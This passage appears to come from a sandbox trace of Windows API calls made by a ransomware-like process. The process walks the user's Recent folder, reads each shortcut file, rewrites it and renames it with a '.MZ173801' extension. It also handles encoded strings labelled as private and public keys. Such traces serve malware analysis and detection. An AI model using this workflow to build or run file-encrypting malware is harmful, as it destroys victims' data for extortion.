(normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.591] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.591] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.591] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x482 [0147.591] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.591] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x482, lpOverlapped=0x0) returned 1 [0147.591] CloseHandle (hObject=0x280) returned 1 [0147.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.592] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x482, lpOverlapped=0x0) returned 1 [0147.595] CloseHandle (hObject=0x280) returned 1 [0147.596] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhSP KphnxTI.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fhsp kphnxti.flv.lnk.mz173801")) returned 1 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] GetCurrentThreadId () returned 0xab4 [0147.597] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf086a0dd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf086a0dd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf08903af, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FicTeeGg9cZ.lnk", cAlternateFileName="FICTEE~1.LNK")) returned 1 [0147.597] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.597] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf086a0dd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf086a0dd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf08903af, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0)) returned 1 [0147.597] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk")) returned 0x20 [0147.597] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk", dwFileAttributes=0x80) returned 1 [0147.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.601] GetCurrentThreadId () returned 0xab4 [0147.601] GetCurrentThreadId () returned 0xab4 [0147.601] GetCurrentThreadId () returned 0xab4 [0147.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.602] GetCurrentThreadId () returned 0xab4 [0147.602] GetCurrentThreadId () returned 0xab4 [0147.602] GetCurrentThreadId () returned 0xab4 [0147.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.603] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.603] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.603] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e0 [0147.603] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.603] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3e0, lpOverlapped=0x0) returned 1 [0147.604] CloseHandle (hObject=0x280) returned 1 [0147.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.605] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3e0, lpOverlapped=0x0) returned 1 [0147.606] CloseHandle (hObject=0x280) returned 1 [0147.607] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FicTeeGg9cZ.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ficteegg9cz.lnk.mz173801")) returned 1 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] GetCurrentThreadId () returned 0xab4 [0147.608] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47189a37, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47189a37, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x47189a37, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="FLOta7xX0gkrp_QvZlm.lnk", cAlternateFileName="FLOTA7~1.LNK")) returned 1 [0147.608] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.608] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47189a37, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47189a37, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x47189a37, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4c2)) returned 1 [0147.609] GetFileAttributesW 